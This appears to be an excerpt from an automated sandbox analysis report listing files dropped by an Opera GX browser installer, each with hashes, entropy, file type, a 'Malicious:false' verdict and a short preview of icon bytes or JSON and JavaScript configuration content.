                                                                                                                                                                                                              SHA-512:D48AF3344304FFE613511529C227F0CDE3443C6409F14058D3E381754D6FE9295B71332840BBE8D55EFE40C893AB0513B15C70EC36008844508BA4FCC8E492DB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:..................f......... .h............. .....~... .... .........00.... ..%......@@.... .(B..VE..(....... ...................................3........................................f..8........................................'...........s...1.............................(....... ..... .....@...............................................................................................................................................................................................................................................................................................3..n3...3...3...3...3...........3...3...................................9...3...3..o............3..43..)3...............................9...3...3..p................3...3...........................3..,3...3...3...3...............3..q3...3..>................3...3...3...3..O3..Z3...3..*........3..$3...3...................3...3...3...........3..93...3..X........3...3...3...........3...3...3...............3...3...3.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\CFD4BE41-4C6D-496A-ADDB-4095DFA1DD0E.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 2 icons, 16x16, 8 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5686
                                                                                                                                                                                                              Entropy (8bit):3.499087745233182
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:96:DU/TAAAAg50UqaoAQsOcRtzXoX6UDQU0U/F:grAAAALfaoAQxozXoNF
                                                                                                                                                                                                              MD5:CAE06CD4B5B7BE327CCB00A6DD6F588C
                                                                                                                                                                                                              SHA1:91AB18740E8C44D89F0C66485DEE5E616999921B
                                                                                                                                                                                                              SHA-256:0031AC87D8B67D608BF586EE097204782580EE645891C5D3D05591AE00F47953
                                                                                                                                                                                                              SHA-512:AD0DEEB131E9D78A58E0C61F0433F06332F0116129EA55F16739FF2C6A3767F5082500152B98273140296B8A8F1A7CAF984289AF5D562969B2515143E75E48B6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:..............h...&... .... .........(....... ...........@............................2)......7..............le..TL..............vo..e^..........g`......}w..........zu..............E=....91......YQ..[T...........z..........>6..OG..ic..........]V..b[.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\F3F34CBB-24FF-4830-9E87-1663E7A0A5EE.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):15086
                                                                                                                                                                                                              Entropy (8bit):2.6549496934735806
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:jjXowmb64P5OOhw4SLGepPIOV+ZCreBKWoxBRAZLSFEnZIi:HYw85Of4SppQsaIJaRI
                                                                                                                                                                                                              MD5:0342F103B6960E1565D24EABD5A6079D
                                                                                                                                                                                                              SHA1:7C6C7EF5E86A83BC7FD75729BD641244CFFC8CB4
                                                                                                                                                                                                              SHA-256:F92DC912529EB9D75655DC9C41557D2AF532425D1A6C8BAFB0879109C850F955
                                                                                                                                                                                                              SHA-512:E37D8445CE9E0AE80E1519A11831075994F1F3255A85E8883F1CC171204DD3A4CC9560655E54F1AA27B4602A44B1FB4711AE352942319D6F0714F17AB48EB2D4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h...6... .... .........00.... ..%..F...(....... ..... ..........................^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..]0..T$..T%.._2..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..........\...^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..[-..........}..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1...g..........Y*..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..W'..........g=..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..]/..............^0..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..wQ..........V'..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..V'..........wQ..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^0..............]/..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..g=..........W'..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..Y*...........f..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1...}.........[-..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..\/..........^1..^1..^1..^1..^1..^1..^1..^

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\F98D4D4C-8AA7-4619-A1E7-AC89B24558DD.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):2.5312914343989297
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:wiamjx12wm3v23BJ37IE0K4cDm6H/HGtaYiBn:wi5xYlO3BJrv0pyxD
                                                                                                                                                                                                              MD5:192A42730EEA5A6A3238F50285F01010
                                                                                                                                                                                                              SHA1:28FC94448C726E0D62375942866A1FAFC916F61A
                                                                                                                                                                                                              SHA-256:4515919BA9C8A1AE19DEAE230F2FDFBB94DE5C29753DC3FB7C2A877B474F4F0F
                                                                                                                                                                                                              SHA-512:B680B643CC66B7687108C34ADBE80996851A5B24BEAE2E7EA58C8C8AB86D4900DF12D5A4E8380186A53D7A46F923B6A4D7DB46555C5BCB0F90021DDA10D4568A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... .....@..........................f............j...=...................................................<...s??....................g...!...............................................*...q.................N.......................................................|..........._.......................................................v...........................................................%.......................................................M..................q...............................9.....................................................J..............................i.................................................n...;...............................{.......................4.........................................................................Y...........................C..................................................................Q.......................................................................K.................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\FDC2CCAB-E8F9-4620-91DD-B0B67285997C.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):4.560345262666608
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:Xg2aJpCnnYdmnnnnnL5S1Mk/UUUUAODLMRtJ178FNffwuGN7lOzQOnA+zzzzzzzf:X4Ra5S1M2UUUUxL6AfqUg+zzzzzzzM3s
                                                                                                                                                                                                              MD5:74FDAC19593602B8D25A5E2FDB9C3051
                                                                                                                                                                                                              SHA1:81DB52E9AD1BE5946DFFA3C89F5302633A7698D2
                                                                                                                                                                                                              SHA-256:F06EBEF0B912B94D7E0AF3915F2A6B6B64F74CB60BC8AAA1104C874761A0DEE6
                                                                                                                                                                                                              SHA-512:8FFB507E46C99F1FEDE3F12C14998CD41AFA8CFC5C815756343041F1BEF6FAF7BA4429CEBEB87B0FB807D911F5516D235D5F893E519576B1FB675D25D025C21B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... ..........................xO~.xO.xO..xO..xO..xO..xO..xO..xO..xO..xO..xO...x...x...x...x..yO.t...x...x...x...x...x...x...x...x...x...]..yO{..x...x...x..{R...z...z...z.................................|S..{R...z...z...V...|...|...|.......|...|...|...|...|...|...|...h...V...|...|...[...~...~...~.......a...a...a...a...a...a...~...|..._...[<..~...a..................................................v...a.......i..............................................p...if..q......j..j..j..j..j..j...........................q...y..............................o........................y.................................u........................f................................|...............................................................................<...............................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\FF57F01A-0718-44B7-8A1F-8B15BC33A50B.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5430
                                                                                                                                                                                                              Entropy (8bit):3.6877369236023396
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:1sBM4boY8LQhIjtT25y1X82YDb+v/TcYMdILyMh6QpdG8Q:Gi3H/jR25y1MRbSrXMadhPpEB
                                                                                                                                                                                                              MD5:4CA6A47462D19D539F9A32B702B10177
                                                                                                                                                                                                              SHA1:1F53B02309B901C8E7CC20F8640187F4F185F393
                                                                                                                                                                                                              SHA-256:1BACA3300AEA9840985CFBFBAF1622BE00922BA193168C1FC4246BDB8898F217
                                                                                                                                                                                                              SHA-512:E08A0013A7D8664CBBD88EAA1235A27704DBB4BD13D849D45B3A529F7373844D67C11A2B13881823EF6586840980B670C8FB278CF220D1093976CD00148CA2B6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................u.].X.:.W.9.r.X........................................q.W.S.4.S.4.S.4.S.4.S.4.S.4...Q....................0........p.W.S.4.X.:.................D..A...f.........................K.H.V.8..........................F..B.....................6.......................................B..............................................B..B..B..B..B...s..........................................B..B..B..B..B...z.................5.................................................................../P..9G.................................................0........Wb..5C..;I..................P\.....................0................Wb..5C..5C..5C..5C..5C..5C..kv..........................................\g..:H..9G..[f....................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\FFF3F819-B6CE-4DE6-B4E4-8E2618ABC0D9.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):3.9160268464631507
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6:DCA7VYhkLd2lrgxafa5l5ayJsPMcyEwmM7Zo72JOU1nMOkaWLSDuvw4/lMl:eMYhkcKaf0SyGPvyEM1o6FQao9v7tMl
                                                                                                                                                                                                              MD5:72460DF2C3C16ED7FFFA3988F5E86CBA
                                                                                                                                                                                                              SHA1:B17DACC408D124A0AEF2650A92F3C0AB2F9D4F54
                                                                                                                                                                                                              SHA-256:8D2A443307CEBA1D996D0DDAF5FCE63B838B5DAFA6F09AAEFF2D83127F38DE01
                                                                                                                                                                                                              SHA-512:516720411D964823FD88A63BB1B0AD49F8A98BEE03D13CCDF23EB5775C8B4A02E743D099A481573C02B311B27E447F646DEEA5AEB6066FABF38EFFE96E712876
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... .................................................................................................................................................................................................................................!.......F?..................................MG..............................OJ..................................................................ZT......................................................( .............................."..................................."................................................................................{..........................................UO..................................................................ZS......................................................93...................................&.............................. ...........................!.............................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\ab_tests.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (347)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2561
                                                                                                                                                                                                              Entropy (8bit):4.511287976109681
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:y4ktq43DntwhkNLyxnt2toyNntSGyNntiSyDntz1n:L/uDnKhkNLyxnI6yNngGyNnESyDn51n
                                                                                                                                                                                                              MD5:1A9CD4E4812B2D130CA45228BCB33700
                                                                                                                                                                                                              SHA1:10A4DA3CDBE3320CA8DE96C810AF22576333B2F0
                                                                                                                                                                                                              SHA-256:C42F8D9E12DB61B769D6D8D345CECD6668EC4847C80A107910BBF87530223C32
                                                                                                                                                                                                              SHA-512:FF13EBB69177190393F62528216F05170BD68A2E2A3CA511DDD92E40ACABABDB5CC002FB546ED8451FD952F1FF2FD4A6C93658DF3FCE987D7193B1F1D9615CC2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// tQtPYzJXnVa9SzjE0kXvU4xD/vLOQ3hg9wx9hzaCwIr7vvWyxsfKcoeBDzRhH32rMbTc8JdyS136pCaw/VzcEkpqwBXdOAhorEbiIX/gdISGtTN+l0c0xcOi4TVRtVh9eZ0PXwx9DhHn9UNOg9blF6mFcTxEWtnio8SP17o7RjmUzXyw7Vgxkq05I6iDTeLJYSIa9Ioe5a78EoKeWmPNX6Q/1/5Ga55FcZ+O44k9Fvbneuw1z17PhBMhe7zD+4dW6t38GaYX4wFVaVuiI34KLCjpUi6X+nsjkYjbhxuLAHVZyMZhYjgin24+CN/nRM8ohfN2U7ZCthbfHT71KSQI2g==.{. "version": 2023102301,. "tests": [. {. "name": "DNA-93212-ru",. "total_test_percentage": 20,. "country": "ru",. "test_state": 1,. "test_groups" : [. {. "name": "DNA-93212-test-ru",. "preferences": {. "gx.show-yandex-in-mid-profile" : true. }. },. {. "name": "DNA-93212-ref-ru",. "preferences": {. "gx.show-yandex-in-mid-profile" : false. }. }. ]. },. {. "name": "DNA-99214_GXCTest10",. "total_test_percentage": 10,. "test_state": 1,. "test_groups" : [. {. "name": "GXC

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\automatic_search_engines.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (347)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):942
                                                                                                                                                                                                              Entropy (8bit):5.365075590948008
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:jjh9ucSirU6JuA6yACzw4dpK5PJhl5hZH95M+53guG9SPpT:GcVvX44dpKDhl7ZH9S+JAYPpT
                                                                                                                                                                                                              MD5:3F23A58366EFCF350F97FB2039D19A08
                                                                                                                                                                                                              SHA1:E1AFAA9A0967F20596CBCC2DDC27FB497DA7803B
                                                                                                                                                                                                              SHA-256:E164E2345B5D2D9517F3F7EF29C6545A3454E0F5A85534922C667A5B9363EF54
                                                                                                                                                                                                              SHA-512:8F74BDF911FDB967CE770B1C2D782AC9138259996734E7D9C79162949A892220DA100AF84C93D08B78BE43BE8D6EA6E1DCA7E7BC74829565F0D529926BBA63A9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// ZtPMo8xDsbWJZILs9caSS58+1y78u/Q9gs9oW/WduaHOI7TixLchZ27GapPvRcrtMkHnkk4CdQek54Tsaj+kwUQKLEtgxR8PUfnKhqXuiLNxc0j+4xGzoB0nt+2fQDgRKYV2+o8D2uVuIaBSyCvsG663H3XUKcyXYEs7K10tEs+3pqTvjpYrN+uVDSiPp5B3EThc9crgRFyKW4lPzogZaJdbLwZ+sT+DaSpg2m/GPSjl6WqIfQXiM9YPl4IwIBT7noueywK0mbDl9iYKW167d17T1LQNyIoi06BYDCgsPGD87wsY6cjrE09JZsUCZHe7Vpjrr6UQ/pOfj5PEDq9f5Q==.{."version": 3,."list": [. {. "url": "https://redir.opera.com/amazon/",. "short_name": "Amazon",. "color": "FFFF9900". },. {. "url": "https://github.com",. "short_name": "GitHub",. "color": "FF000000". },. {. "url": "https://istockphoto.com",. "short_name": "iStockPhoto",. "color": "FF000000". },. {. "url": "https://x.com",. "short_name": "X",. "color": "FF000000". },. {. "url": "https://youtube.com",. "short_name": "YouTube",. "color": "FFFF0000". }.].}.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\browser.js

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:C source, ASCII text, with very long lines (347)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):19607
                                                                                                                                                                                                              Entropy (8bit):4.2813674139671045
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:192:4wYMZFMHRmDzq9I7oKDnBiSzEFGgZRPMA+JHwhHDX7m7mCyiRHI4UIA7m72YCyiw:3MDI7oKDnBnwGgZRPTTJU
                                                                                                                                                                                                              MD5:5921393A698835DAD4973DA46A8C9118
                                                                                                                                                                                                              SHA1:136BA055A6ADB8DCA23B3828C625F058DCAB8044
                                                                                                                                                                                                              SHA-256:90F1612DADD5E482B6A0ACADE6AF8C074F8CF967CEC8D18BAE6C1FB52D538F5E
                                                                                                                                                                                                              SHA-512:C2CA846ABC62D5EBD9E47533BF3711FF2A2F48C0DB258B6662AD0F3EDF165F83A83FFF0469FBEA8B63859AFCAB40FC4F590C9EC5F496B8C08BBBB7B00EBB360A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// ANhamdsT/5FFQOpBSSfsSzXWPKaFcuo6fRFv47H6WwIDueS5K5yIJ65R3TQ3ArO4sFsz/UN9fqwaJvX728bxGvrbC1Qt0L2n/xQVovP9oG0ORe55wCN7YV/aB4jd5OlIJqiBIoUIYh0wX8K3rDds2k25NijYQCl+IdAXqMJUeBMPktA6SPMV2F/4iO1OJPFjmDG2s+v+4mypZjKAXifR8CYDZFTsTQ95QNtsWvszTtUpdNJ7Pkwh3GALldAtgEXwWaLbC/0VBPxcA45VF4jySpiZeic3H1jgje94PnvkSNDqbwA4tvARyfrH4Ht4iA/lbKOrAUfAi/aDAcAZHZu4yw==./**. ** Copyright (C) 2024 Opera Norway AS. All rights reserved.. **. ** This file is part of the Opera web browser.. **. ** This script patches sites to work better with Opera. ** For more information see http://www.opera.com/docs/browserjs/. **. ** If you have comments on these patches (for example if you are the webmaster. ** and want to inform us about a fixed site that no longer needs patching). ** please report issues through the bug tracking system. ** https://bugs.opera.com/. **. ** DO NOT EDIT THIS FILE! It will not be used by Opera if edited.. **. ** BROWSERJS_TIMESTAMP = '202404041142'; // for versioning; see DNA-54964. **/..'use str

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\continue_shopping.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (3079)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):159972
                                                                                                                                                                                                              Entropy (8bit):6.08509752046205
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3072:KVVPEisdWIPyccrg5rXou92Q0ZNeZYwex3XxqfCcL3suVRHLfLnLILs:iccrg5rXou92Q0ZNeZYwexn+HbrcLs
                                                                                                                                                                                                              MD5:4932BC39E540EDF6F257154DD6642A87
                                                                                                                                                                                                              SHA1:3CBCC6A06796513A605D4F4C6E662213ADE911BE
                                                                                                                                                                                                              SHA-256:C79DB69B234C3886C4AD0B73A203ACFE15BC8E8382F4FA4E6A5E78C6CDC45607
                                                                                                                                                                                                              SHA-512:DDBEFDE8D66DE4FCCB99E5212D4F08230B4DBE82A815BE22FD8EDCE22C9CDCBDC0BDCC4A45E9C8C0C04634F658F84A7F944CAAF4C5BAB7AD97C0CB8BBC310FA9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// ACBmtoCIjfrw1GiE40PTqisc+nBGUkeyOySvFKxkt2F/Sb+UazUpMxaetnu1AgYREo6WpCf6WtunjeBaSzbaTKIxy1WJP2EPnkhlfGvJGc4a+7YxnqSIsd1z712rcHBiBknEzcNNPgjhnCTtICto8ED85wYdD8VrvkHCYfy6Z0tyErEJqQMfC5HwVL/Kaa8BpUvV/C4prLWL6b0jacaKPynS99p+eIYn0o2Aa4W7xG+Fpn/E3PxgWnqz3BjHopQ+bu84K7eoiL6QcrvJzmM9ZMI+Fxx1/55vy0o4NVJ1eC85tYXgaDAwfYIk6aSdwSXWxa+plelbonkwj3aiatFLSQ==.{. "version": 14,. "partners": [. {. "partner_id": "aboutyou_at",. "partner_domain": "aboutyou.at",. "product_url_pattern": "\/p\/.*",. "product_history_pattern": "\"aboutyou.at/p/\"",. "partner_icon": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAclBMVEUAAAD////4+PgYGBikpKQmJiYLCwvi4uLb29tLS0v09PTp6emCgoJra2tcXFxJSUnr6+vJycmKioo6OjojIyP8/PxfX1/6+vrMzMyamprf39/S0tLR0dG9vb28vLxDQ0MfHx8aGhrd3d2GhoZ3d3dFRUWvj4E8AAABVklEQVRIx+1VV5bDIAy0wcbg3kt62b3/FTeUZ+EW7Yt/M5/SSIyEEM4Xn4L5lRCVz/7Hpq13jEJCwujotRSl1yVv3BENL+v3/OThzsCTd2o84i5AvE1dt/NIyoMgH4PPt438F8Mu4syn1M/iwsRc1s/wtLdP2dje1JTkrdbbqfSDne0a6IBup

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\custom_partner_content.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:Unicode text, UTF-8 text, with very long lines (1824)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):242304
                                                                                                                                                                                                              Entropy (8bit):6.028776242997077
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3072:+lrEaq+nSpKS1d/ttUYD6W6Z2NrwYrVZCs0iUCabiKfAu/wX2OCy:cEe+1btUYOnkrPVZCCUCabNU
                                                                                                                                                                                                              MD5:8EEDA41CF4BB6900216E9A91E69BF857
                                                                                                                                                                                                              SHA1:858FD2E9F90A1A55C4A7B6DE5C1EEABC851749C1
                                                                                                                                                                                                              SHA-256:00CC54663583EE631FA4063B2AF65B89B3451C70435D8EAF9F8332B5CDE916E7
                                                                                                                                                                                                              SHA-512:EB08D29C0F317FE0B3214BBE56CDC3B6F9C0C6A4289FB6C459F6915C2E227B507E32B8763FFD28BDBA829DE7CACE4C3816346B30550410E9D09A2B637D921748
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// oIafncyzxXIthD3yrr0ExADLGcSvJVUPhfm/Ps9IJWzBeVPqfctf2eq3cfSQou5ntqGt6gg7DLHaqxPUf7YMzjoasvVdoztX/1r0O8XKGUx89DnXb+9PZJe/CcnoP0KFiAxZlugvMS9+zaPR/MbZpGnOO7Ylzoxo0Y3WXqfWtpQ8jK9r4pMa23T1hW1X+kj1PKpTOpTZtsm2TtxQGPUXsMmvu/XJHkjGSVpTyFCVFrobvLd0XQPWe6oqLrvsNgPW9HJjbDWiR3cUL2kxGw8qsix5PK/KijbPVyf/tuIv2CYgca2qfUrmjNG5/Mx03+QaecavFhuVV4KaWFacYnatuQ==.{. "version": 41,. "partner_id": "std-2",. "user_agent": "std-2",. "search_engines": {. "location": {. "ad": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing_attributed",. "wiki". ],. "speed_dial_index_list": [0]. }. },. "al": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing_attributed",. "wiki". ],. "speed_dial_index_list": [0]. }. },.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\daily_wallpapers.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):72163
                                                                                                                                                                                                              Entropy (8bit):4.601891206052405
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:768:sgypXfnu++bTNwGeJdhnagcsBVG/oggB1PqMvYv9Jq6AaR8PgwKsbtx2301bf1Ew:6
                                                                                                                                                                                                              MD5:9DA90B26455525B2331FB64ABD1B0D60
                                                                                                                                                                                                              SHA1:592BB5CFCC9DF4126BEE2AC5464703D180789AC3
                                                                                                                                                                                                              SHA-256:924BD0C85221070ADAA23138C911C55AB29D84279782FE937D1E70407CC22C66
                                                                                                                                                                                                              SHA-512:D058B76007FD7568E23E351C96E8F34AF639D30DC0633052CBE8A094598E3F74D90E81DAE9EAA5AD96988F3CC2157A249927F0D015104666449C5D116E256CFF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{. "daily_wallpapers_schedule": [. {. "wallpaper_id": "mods/kaandijoelepfajcbaglpnacgmebonpc/smart_wallpaper",. "start_date": "2023/9/4",. "end_date": "2023/9/5". },. {. "wallpaper_id": "mods/anlamljaonmlkmfaipamolamdpjobldl/smart_wallpaper",. "start_date": "2023/9/5",. "end_date": "2023/9/6". },. {. "wallpaper_id": "mods/eaahgnceaiheanheajmiojafolhdfbih/smart_wallpaper",. "start_date": "2023/9/6",. "end_date": "2023/9/7". },. {. "wallpaper_id": "mods/dafbhaiokkmgdlcpiblejdpgcnipgljh/smart_wallpaper",. "start_date": "2023/9/7",. "end_date": "2023/9/8". },. {. "wallpaper_id": "mods/jpghigceifbjmaommcoeheogkbphlanb/smart_wallpaper",. "start_date": "2023/9/8",. "end_date": "2023/9/9". },. {. "wallpaper_id": "mods/eggjmmfhnmejmopboifholjgiekialgf/smart_wallpaper",. "start_date": "2023/9/9",. "end_date": "2023/9/10". },. {. "wallpaper_id": "mods/naabgogikghh

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\default_partner_content.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:Unicode text, UTF-8 text, with very long lines (7765)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):264023
                                                                                                                                                                                                              Entropy (8bit):6.046604587789893
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3072:Om3VKW6kjnxEaacB+5RKS1d/ttUYD6W6Z2NrwYrVZCs0iUCabiKfAu/wX2OCy:JtE/c8Z1btUYOnkrPVZCCUCabNU
                                                                                                                                                                                                              MD5:1653A81266A9F150AFB443E8A276ED31
                                                                                                                                                                                                              SHA1:C2F2E827110AF5779C4A732A6B0E83F108C0B152
                                                                                                                                                                                                              SHA-256:A56634EF3A23D92632C561DA87D94A912BDDF22958406FD8E57E41F3B6DFA213
                                                                                                                                                                                                              SHA-512:450822B96E6EABAF55FF1E39CB199E9CCC4F6BA038C0E9100AFAFEFBCE1846606CBAC8FD1CADA2C63AAC23BEED598099F5419E2DC496C790948CF5C085F02E53
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// c3ljDFQDEIPksoQdB6EKdLFNtsySS2Jm21w+xl2LFdESFwpBtJKZuHmZ6yjleKq8vAVDz3+1U1n400L+DaxYoNhcvBUneuuIK0QUj/wYIYYPk+2TM7MeqhbiFffO4UIn6TyEw8P0zfp3jeN+eVfPJgzVx/NAAnsiySEXuu8t7rgmlPOTTe3EXiYmcqEEoqXC9X4KWHiz5jpNdMG1SojhIT4fbjcygYzYcZxElxZ9De4fIzWxbQwlsDRuftkTfJaJAn34I36OVVsZmHphCokWCJ3CGUYl6I8A7a24nzZkyRVrzuot0IC8Ris1FOiXOcgcnzdAofRgIuW8zqrls1snyQ==.{. "version": 126,. "search_engines": {. "location": {. "ad": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing",. "wiki". ],. "speed_dial_index_list": [0]. }. },. "al": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing",. "wiki". ],. "speed_dial_index_list": [0]. }. },. "at": {. "other": {. "list": [. "google_com

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\doh_providers.json

